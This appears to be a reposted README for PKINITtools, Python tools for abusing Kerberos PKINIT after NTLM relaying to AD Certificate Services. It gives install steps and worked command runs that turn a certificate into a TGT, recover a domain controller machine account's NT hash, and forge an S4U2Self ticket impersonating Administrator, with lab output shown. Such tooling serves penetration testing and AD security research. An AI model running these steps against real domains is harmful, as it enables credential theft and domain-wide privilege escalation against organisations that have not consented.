PKINITtools : Tools For Kerberos PKINIT And Relaying To AD CS

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PKINITtools repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Installation

These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go:

git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Using a virtualenv for this is recommended.

Tools

gettgtpkinit.py

Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Usage example:

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache
Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key
positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in
optional arguments:
-h, –help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, –verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file

getnthash.py

Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It’s magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME env variable. Usage:

(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 – Copyright 2021 SecureAuth Corporation
usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity
positional arguments:
identity domain/username
optional arguments:
-h, –help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON
(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 – Copyright 2021 SecureAuth Corporation
[] Using TGT from cache [] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you’ve obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_url for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can’t use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage:

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache
Gets an S4U2self ticket impersonating given user
positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server “fileserver”. IMPORTANT: SERVER’S HOSTNAME MUST BE USED, NOT IP!!! targetuser
ccache ccache file to store the TGT ticket in
optional arguments:
-h, –help show this help message and exit
-v, –verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!

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